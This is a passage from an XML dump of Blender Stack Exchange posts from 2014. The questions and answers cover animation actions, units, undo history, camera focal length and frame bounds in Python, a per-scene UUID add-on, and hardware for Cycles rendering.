LastActivityDate="2014-08-05T19:41:43.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14734" PostTypeId="1" AcceptedAnswerId="14804" CreationDate="2014-08-05T15:06:44.600" Score="1" ViewCount="459" Body="&lt;p&gt;I've followed &lt;a href=&quot;https://blender.stackexchange.com/questions/183/how-can-i-manage-multiple-animations-in-one-blend-file&quot;&gt;this question&lt;/a&gt; because I want to split an animation into run/walk/attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've entered the dope sheet, duplicated the animation (and pressed the F) and renamed them appropriately. But since I'm very n00b, I don't know how to set the starting time position for each animation...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT] The original animation is run, then walk, then attack. I want it to turn into 3 different animations. Right now I have 3 duplicates of the run, walk, attack; I'd like, for example, to cut out the &quot;run&quot; and the &quot;attack&quot; from the &quot;walk&quot; animation.&lt;/p&gt;&#xA;" OwnerUserId="5489" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2014-10-11T16:14:49.230" Title="How to edit a duplicated animation?" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14735" PostTypeId="1" AcceptedAnswerId="14736" CreationDate="2014-08-05T17:14:54.560" Score="1" ViewCount="1347" Body="&lt;p&gt;I'm new to blender and I am trying to create basic shapes/models of few basic objects like - water pot, bottle, tea-cup etc. Now I'm trying to create an iPhone model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, when I started modelling, I came to know about precise sizing &amp;amp; other specific dimensions of iPhone. But I see options in XYZ as 0 &amp;amp; 1.&lt;br&gt;&#xA;My Question is - How can I create an object with specifications like - 4 inch wide, 1 inch tall etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uPDoc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5335" LastEditorUserId="5426" LastEditDate="2014-08-05T17:36:53.970" LastActivityDate="2015-03-11T02:33:44.710" Title="Real world to blender modeling" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;units&gt;" AnswerCount="2" CommentCount="1" ClosedDate="2014-08-05T20:07:17.373" ContentLicense="CC BY-SA 3.0" />
  <row Id="14736" PostTypeId="2" ParentId="14735" CreationDate="2014-08-05T17:28:29.533" Score="3" Body="&lt;p&gt;this can be done by changing the unit type from &lt;em&gt;none&lt;/em&gt; to &lt;em&gt;imperial&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HrShN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, add your cube and change the measurements to whatever you want &#xA;&lt;img src=&quot;https://i.stack.imgur.com/O7hMr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="3127" LastEditDate="2015-03-11T02:33:44.710" LastActivityDate="2015-03-11T02:33:44.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14737" PostTypeId="1" CreationDate="2014-08-05T17:51:06.140" Score="2" ViewCount="1338" Body="&lt;p&gt;So far I am only allowed to use the pin brush in Freestyle .Were are the other brushes? Do I have to download them ? If so could someone point me to the site that has them . &#xA;&lt;img src=&quot;https://i.stack.imgur.com/JGTEn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5485" LastEditorUserId="5485" LastEditDate="2014-08-06T06:01:58.877" LastActivityDate="2014-08-10T13:26:15.533" Title="Blender Freestyle Brushes" Tags="&lt;freestyle&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14738" PostTypeId="1" AcceptedAnswerId="126596" CreationDate="2014-08-05T18:52:34.323" Score="6" ViewCount="4213" Body="&lt;p&gt;I want my export operator to open the normal file selector but instead of asking for a specific file I want it to ask for a directory. The reason for this is that both my model and the textures should be stored in a directory tree and I want to user to select the root. For example the model file &quot;somemodel.ext&quot; links to the textures &quot;tex1.png&quot; and &quot;tex2.png&quot; the resulting file structure should look like this:&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RootFolder&#xA;+--textures&#xA;   +--somemodel&#xA;      + tex1.png&#xA;      + tex2.png&#xA;+--models&#xA;   + somemodel.ext&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I want to user to select the RootFolder in the export fileselect.&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="599" LastEditDate="2014-08-05T19:19:16.940" LastActivityDate="2021-01-10T20:36:03.180" Title="Use filemanager to select directory instead of file?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;export&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14739" PostTypeId="1" AcceptedAnswerId="14740" CreationDate="2014-08-05T18:57:09.933" Score="4" ViewCount="1754" Body="&lt;p&gt;How do I get the list of operations done in blender? Usually Undo/redo are found under edit menu. But I'm not able to locate undo list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Vitals/Undo_and_Redo&quot; rel=&quot;nofollow&quot;&gt;This wiki page&lt;/a&gt; says by pressing &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; it should show history. But somehow I'm not able to view it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I'm new to blender.&lt;/p&gt;&#xA;" OwnerUserId="5335" LastEditorUserId="599" LastEditDate="2014-08-05T19:05:24.540" LastActivityDate="2014-08-05T19:06:41.610" Title="Where to find the undo list?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14740" PostTypeId="2" ParentId="14739" CreationDate="2014-08-05T19:00:36.403" Score="7" Body="&lt;p&gt;Try &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;. That wiki page is for Blender 2.4x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Vitals/Undo_and_Redo#Undo_History&quot; rel=&quot;noreferrer&quot;&gt;2.6x page&lt;/a&gt; (which is current for 2.7x, as there is no 2.7x wiki yet)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to access it from a menu, it's in &lt;em&gt;3D view &gt; Header &gt; Object&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/itHP9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to access it from a toolbar, it's in &lt;em&gt;3D view &gt; Toolshelf&lt;/em&gt; (&lt;kbd&gt;T&lt;/kbd&gt;) &lt;em&gt;&gt; Tool &gt; History&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lWcDB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-05T19:06:41.610" LastActivityDate="2014-08-05T19:06:41.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14741" PostTypeId="2" ParentId="14735" CreationDate="2014-08-05T19:10:00.633" Score="2" Body="&lt;p&gt;You can specify measurements for newly created objects and other parameters in a pop-up window that appears by your cursor.&#xA;After starting the command and (very important) before starting another operation, press &lt;kbd&gt;F6&lt;/kbd&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nfZfA.png&quot; alt=&quot;F6 menu&quot;&gt;&#xA;After setting the initial size of your mesh, you'll need to go into edit mode and use the mesh editing tools to make your object fit your other dimensions.&lt;br&gt;&#xA;If you're from a CAD background, this can seem a little archaic-but in visualization, making something look right is more important than making it dimensionally accurate, so gauging things with your eyes is appropriate.&lt;/p&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2014-08-05T19:10:00.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14742" PostTypeId="2" ParentId="14587" CreationDate="2014-08-05T19:34:56.307" Score="0" Body="&lt;p&gt;&lt;strong&gt;This solves the problem per scene. If someone knows some kind of data that only exists per file, please post an answer.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can register a handler that does exactly this and only checks once for every file. All you have to do is call &lt;code&gt;bpy.app.handlers.load_post&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Test addon&#xA;import bpy&#xA;import random&#xA;from bpy.types import Scene&#xA;from bpy.props import IntVectorProperty, BoolProperty&#xA;from bpy.app.handlers import persistent&#xA;&#xA;@persistent&#xA;def load_handler(_):&#xA;    # reset if loaded file is the default file&#xA;    if bpy.data.filepath == '':&#xA;        for scene in bpy.data.scenes:&#xA;            scene.mhfc_isuuidset = False&#xA;&#xA;def get_prop(name, valuegenerator, init_name=None):&#xA;    &quot;&quot;&quot;&#xA;    This generates a new value if necessary before returning it.&#xA;    name: the properties own name&#xA;    valuegenerator: a function that takes two parameters:&#xA;            the object it is called on (e.g. the scene)&#xA;            the identifier of the value&#xA;            returns - the new value&#xA;    init_name: the name of a value that tells if this value&#xA;            initialized. If not init_name: returns a function&#xA;            that checks against the actual value&#xA;    &quot;&quot;&quot;&#xA;    def get(self):&#xA;        if not getattr(self, init_name):&#xA;            self[name] = valuegenerator(self, name)&#xA;            setattr(self, init_name, True)&#xA;        return self[name]&#xA;    return get&#xA;&#xA;pow2o31 = 2**31&#xA;def generator(obj, name):&#xA;    var = lambda: random.randint(-pow2o31, pow2o31-1)&#xA;    return (var(), var(), var(), var())&#xA;&#xA;def register():&#xA;    bpy.app.handlers.load_post.append(load_handler)&#xA;    Scene.mhfc_isuuidset = BoolProperty(&#xA;                            name=&quot;isUUIDset&quot;,&#xA;                            description=&quot;Set to true if scene data is initialized. DON'T TOUCH THIS UNLESS YOU ARE SURE WHAT YOU DO.&quot;,&#xA;                            default=False,&#xA;                            options=set())&#xA;    Scene.mhfc_uuid = IntVectorProperty(&#xA;                        name=&quot;UUID&quot;,&#xA;                        description=&quot;An unique ID for this file. Read-only&quot;,&#xA;                        options=set(),&#xA;                        default=(0, 0, 0, 0),&#xA;                        size=4,&#xA;                        get=get_prop('mhfc_uuid', generator,'mhfc_isuuidset'))&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A bit of explaination: We set the properties per scene, not per file (&lt;strong&gt;if someone has a fileunique type we can register types on, I would be very happy if you let me know&lt;/strong&gt;). We set 5 properties: The UUID, split into 4 integers, making it a total of 128 bits and a boolean value that is defaulted to false (this gets in handy when opening files that haven't had this property registered).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the uuid-values get assigned a getter-function that checks if the property in question is already initialized (in this case it checks for &lt;code&gt;mhfc_isuuidsetn&lt;/code&gt;). If not it uses the generator function to get a new value and sets and returns it. This ensures that all following calls will return the same value. Also notice that no set-function is given so the value is automatically read-only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;bpy.app.handlers.___&lt;/code&gt; get called on certain points in time. We chose &lt;code&gt;load_post&lt;/code&gt; here so that the data is already read and applied, if any exists. The function than goes through all the scenes if the default scene is being loaded (so a user can't possibly save a state in the default scene in his premature clicking ^_^) and reset the &lt;code&gt;mhfc_isuuidset&lt;/code&gt;-value to &lt;code&gt;False&lt;/code&gt;. We can easily check whether or not the a New File (&lt;kbd&gt;Strg&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;) is opened because in the case the property &lt;code&gt;bpy.data.filepath&lt;/code&gt; will be &lt;code&gt;''&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then only one problem that is still there: All handlers get cleared on fileloading so we have to make sure that our handler is persistent by decorating it with the &lt;code&gt;bpy.app.handlers.persistent&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="2251" LastEditDate="2014-08-07T13:50:59.577" LastActivityDate="2014-08-07T13:50:59.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14743" PostTypeId="1" AcceptedAnswerId="14747" CreationDate="2014-08-05T20:15:25.337" Score="2" ViewCount="958" Body="&lt;p&gt;In comparison, fly mode seems really hard to control, and its style of movement is hard to navigate with. Walk mode feels more controllable, though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This leads me to the question of does fly mode have its own uses that you can't achieve with walk mode?&lt;/p&gt;&#xA;" OwnerUserId="5414" LastEditorUserId="29" LastEditDate="2014-08-06T20:36:40.107" LastActivityDate="2014-08-06T20:36:40.107" Title="What advantages does Fly-Mode have over Walk-Mode?" Tags="&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14744" PostTypeId="2" ParentId="696" CreationDate="2014-08-05T20:28:15.747" Score="3" Body="&lt;p&gt;You can also set the view to rotate around the 3D cursor by using the shortcut &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Home&lt;/kbd&gt;, or &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; which also works in sculpt mode around the mouse pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For extra options go to &lt;em&gt;3D view &gt; Header &gt; View &gt; Align View&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3672" LastEditorUserId="3672" LastEditDate="2014-09-08T17:41:12.153" LastActivityDate="2014-09-08T17:41:12.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14745" PostTypeId="1" AcceptedAnswerId="14749" CreationDate="2014-08-05T20:38:25.530" Score="4" ViewCount="4004" Body="&lt;p&gt;I am importing a VRML file using Blender command line. I need to change the focal length of the camera using the command line. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that? I cannot find Python api for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5473" LastEditorUserId="241" LastEditDate="2014-08-05T20:48:04.827" LastActivityDate="2014-08-05T22:03:42.823" Title="How do I change the focal length of a camera with python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14746" PostTypeId="2" ParentId="6377" CreationDate="2014-08-05T20:41:04.730" Score="7" Body="&lt;p&gt;There are 2 things to consider here:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The camera frame. &lt;em&gt;The camera frame is not as simple as you might expect since its effected by the field-of-view, aspect &amp;amp; x/y shift.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;The 2D view pixel coords, &lt;em&gt;The user can pan &amp;amp; zoom the view, so this also has to be calculated.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This script gets the camera bounds and prints the pixel boundaries.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def view3d_find():&#xA;    # returns first 3d view, normally we get from context&#xA;    for area in bpy.context.window.screen.areas:&#xA;        if area.type == 'VIEW_3D':&#xA;            v3d = area.spaces[0]&#xA;            rv3d = v3d.region_3d&#xA;            for region in area.regions:&#xA;                if region.type == 'WINDOW':&#xA;                    return region, rv3d&#xA;    return None, None&#xA;&#xA;def view3d_camera_border(scene):&#xA;    obj = scene.camera&#xA;    cam = obj.data&#xA;&#xA;    frame = cam.view_frame(scene=scene)&#xA;&#xA;    # move from object-space into world-space &#xA;    frame = [obj.matrix_world @ v for v in frame]&#xA;&#xA;    # move into pixelspace&#xA;    from bpy_extras.view3d_utils import location_3d_to_region_2d&#xA;    region, rv3d = view3d_find()&#xA;    frame_px = [location_3d_to_region_2d(region, rv3d, v) for v in frame]&#xA;    return frame_px&#xA;&#xA;frame_px = view3d_camera_border(bpy.context.scene)&#xA;print(&amp;quot;Camera frame:&amp;quot;, frame_px)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;See API docs for the important functions used here:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.Camera.html#bpy.types.Camera.view_frame&quot; rel=&quot;nofollow noreferrer&quot;&gt;bpy.types.Camera.view_frame&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy_extras.view3d_utils.html#bpy_extras.view3d_utils.location_3d_to_region_2d&quot; rel=&quot;nofollow noreferrer&quot;&gt;bpy_extras.view3d_utils.location_3d_to_region_2d&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2020-07-04T08:57:46.967" LastActivityDate="2020-07-04T08:57:46.967" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="14747" PostTypeId="2" ParentId="14743" CreationDate="2014-08-05T20:44:07.410" Score="2" Body="&lt;p&gt;Fly mode is a very good option to setup your scene camera animation. When you require a very good walk through or fly By.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply select your camera view &lt;kbd&gt;0&lt;/kbd&gt; , Click automatic Keyframing and start the fly mode &lt;kbd&gt;Shift + F&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget to change the frames.&lt;/p&gt;&#xA;" OwnerUserId="738" LastActivityDate="2014-08-05T20:44:07.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14748" PostTypeId="2" ParentId="14745" CreationDate="2014-08-05T20:44:50.487" Score="1" Body="&lt;p&gt;Ok, I think I got it .. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can get the focal length by using &lt;code&gt;bpy.data.cameras.values()[0].lens&lt;/code&gt;. We can set this value as well.&lt;/p&gt;&#xA;" OwnerUserId="5473" LastActivityDate="2014-08-05T20:44:50.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14749" PostTypeId="2" ParentId="14745" CreationDate="2014-08-05T20:45:53.903" Score="4" Body="&lt;p&gt;It's in &lt;code&gt;bpy.data.cameras['&lt;/code&gt;&lt;em&gt;&lt;code&gt;name of your camera object&lt;/code&gt;&lt;/em&gt;&lt;code&gt;'].lens&lt;/code&gt;, or &lt;code&gt;camera.angle&lt;/code&gt; (thanks &lt;a href=&quot;https://blender.stackexchange.com/questions/14745/how-do-i-change-the-focal-length-of-a-camera-with-python/14749?noredirect=1#comment20320_14749&quot;&gt;@ideasman42&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you must have a camera in the scene.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2014-08-05T22:03:42.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14751" PostTypeId="1" CreationDate="2014-08-05T22:40:50.613" Score="1" ViewCount="2661" Body="&lt;p&gt;I placed the threejs script &lt;code&gt;export_threejs.py&lt;/code&gt; in &lt;code&gt;%appdata%\Blender Foundation\Blender\2.71\scripts\addons&lt;/code&gt;, but it does not show up in the addons list in &lt;em&gt;User Preferences&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to install manually nothing happens.&lt;/p&gt;&#xA;" OwnerUserId="5495" LastEditorUserId="2217" LastEditDate="2014-12-21T01:47:21.217" LastActivityDate="2014-12-21T01:47:21.217" Title="Trouble installing a script file of an addon (threejs export)" Tags="&lt;export&gt;&lt;add-on&gt;&lt;three.js&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14752" PostTypeId="5" CreationDate="2014-08-05T22:45:37.457" Score="0" Body="&lt;p&gt;Questions about blurring. Blur can refer to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Post_Process/Motion_Blur&quot; rel=&quot;nofollow&quot;&gt;Motion blur&lt;/a&gt;, &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Filter&quot; rel=&quot;nofollow&quot;&gt;Blur nodes&lt;/a&gt; in the compositor, blur in the VSE, &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Logic/Actuators/2D_Filters&quot; rel=&quot;nofollow&quot;&gt;blur in the BGE&lt;/a&gt;, etc.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="599" LastEditDate="2014-08-05T22:54:12.127" LastActivityDate="2014-08-05T22:54:12.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14753" PostTypeId="4" CreationDate="2014-08-05T22:45:37.457" Score="0" Body="Blur is a term use to refer to any effect that reduces sharpness in an image." OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-08-05T23:09:12.857" LastActivityDate="2014-08-05T23:09:12.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14754" PostTypeId="2" ParentId="14684" CreationDate="2014-08-05T23:07:23.240" Score="7" Body="&lt;p&gt;After some trial and error I found that this python script works for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, math&#xA;&#xA;knob = bpy.data.objects[&quot;MyBlenderKnob&quot;]&#xA;knob.rotation_mode = 'XYZ'&#xA;&#xA;rotate_by = 4.21875   #How many degrees to rotate the knob for every step&#xA;start_angle = 45      #What angle to start from&#xA;&#xA;for x in range(1,65):&#xA;    angle = (start_angle * (math.pi/180)) + (x*-1) * (rotate_by * (math.pi/180))&#xA;    knob.rotation_euler = ( 0, 0, angle )&#xA;&#xA;    bpy.context.scene.render.filepath = &quot;/Users/myfolder/KnobFrame%d.png&quot; % (x)&#xA;    bpy.ops.render.render(write_still=True, use_viewport=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It grabs my blender object called &quot;MyBlenderKnob&quot; and rotates it 4.21875° on the Z-axis, then it renders it according to the current render-settings in the project. Then it saves the files in &quot;myfolder&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beautiful! A real timesaver.&lt;/p&gt;&#xA;" OwnerUserId="5474" LastEditorUserId="5474" LastEditDate="2017-05-15T15:59:42.467" LastActivityDate="2017-05-15T15:59:42.467" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14755" PostTypeId="1" CreationDate="2014-08-06T03:15:13.327" Score="2" ViewCount="1334" Body="&lt;p&gt;I'm working on an application that needs to quickly render simple top view of 3D model on the server, and then return them as a JPEG via HTTP. Basically, I want to be able to simply include a dynamic 3D scene in an HTML page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can Blender do that?&lt;/p&gt;&#xA;" OwnerUserId="5496" LastEditorUserId="55" LastEditDate="2014-08-07T11:27:03.110" LastActivityDate="2014-08-07T11:27:03.110" Title="Generate an image from 3d model (server side)" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14756" PostTypeId="1" AcceptedAnswerId="14758" CreationDate="2014-08-06T03:27:36.627" Score="0" ViewCount="2122" Body="&lt;p&gt;I'm rendering a staff with a transparent diamond prism, and everything was working fine until I noticed, while animating, that the crystal was suddenly displaying its texture as though it were opaque.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/K0oea.png&quot; alt=&quot;visible in object mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I examined the object in edit mode, I noticed that it was invisible. Attempting to select all vertices with &quot;a&quot; and using &quot;alt+h&quot; to see if they were hidden in edit mode did not solve the problem&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LJVoX.png&quot; alt=&quot;invisible in edit mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the texture the crystal is bound to just to make sure that it was transparent.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OPgvB.png&quot; alt=&quot;transparent texture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would cause the object to be invisible in edit mode? And why wouldn't it display with its proper opacity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the blend file: &lt;a href=&quot;http://www.pasteall.org/blend/30844&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/30844&lt;/a&gt;&#xA;imgur album: &lt;a href=&quot;http://imgur.com/VaxJolX,Lyhvp5k,bRMMApR#2&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://imgur.com/VaxJolX,Lyhvp5k,bRMMApR#2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3775" LastActivityDate="2014-08-07T00:54:16.217" Title="Mesh visible on object mode, invisible in edit mode" Tags="&lt;texturing&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14757" PostTypeId="1" AcceptedAnswerId="14759" CreationDate="2014-08-06T03:55:12.297" Score="5" ViewCount="4944" Body="&lt;p&gt;The rendering time on my laptop is starting to become absurd in order to get a decent looking scene. I am looking at building a pc that is well suited for blender. What components are the most important? Most of my projects are rendered using cycles, so a Nvidia graphics card is a must plus lots of ram. But I want some more information, like what cpu (Amd?)? What graphics cards would you recommend? If you have the time could you list a couple different builds such as premium, budget, ect.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that there are other ways of lowering the rendering time (i.e. better poly management), but I have been looking to build my own rig for a while. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Guys!&lt;/p&gt;&#xA;" OwnerUserId="5344" LastEditorUserId="1653" LastEditDate="2014-12-15T16:02:48.890" LastActivityDate="2014-12-15T16:02:48.890" Title="Thoughts on Building a Blender-Oriented PC" Tags="&lt;rendering&gt;&lt;versions&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="4" ClosedDate="2014-08-06T14:30:52.550" ContentLicense="CC BY-SA 3.0" />
  <row Id="14758" PostTypeId="2" ParentId="14756" CreationDate="2014-08-06T04:05:35.140" Score="2" Body="&lt;p&gt;The crystal mesh is there, but because it's position depends on the armature modifier and the object controlling it, the crystal shows in it's original place when viewed in edit mode.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jnGub.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you enable the modifier in edit mode you should be able to see and edit your object normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vN2RE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wxmsn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for transparency, you have not enabled any transparency on the texture or the material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EfPxX.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EW0zU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zEbwo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-08-07T00:54:16.217" LastActivityDate="2014-08-07T00:54:16.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14759" PostTypeId="2" ParentId="14757" CreationDate="2014-08-06T06:45:54.167" Score="6" Body="&lt;h2&gt;Note&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Although this question is about hardware we need a canonical answer on this!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.meta.stackexchange.com/questions/354/canonical-posts-for-hardware-questions&quot;&gt;Canonical posts for hardware questions?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.meta.stackexchange.com/questions/181/answering-vague-support-questions-once/184#184&quot;&gt;Answering vague support questions (once)?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Answer&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Mike Pan has started a thread on BA and collects benchmark results in a &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?239480-2-6x-Cycles-render-benchmark&quot; rel=&quot;nofollow noreferrer&quot;&gt;sheet&lt;/a&gt;.&#xA;Be careful because the benchmark results may differ due to different Blender versions and Cycles performance has been optimized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few things to consider:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;GPU&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Cycles uses &lt;a href=&quot;https://en.wikipedia.org/wiki/CUDA&quot; rel=&quot;nofollow 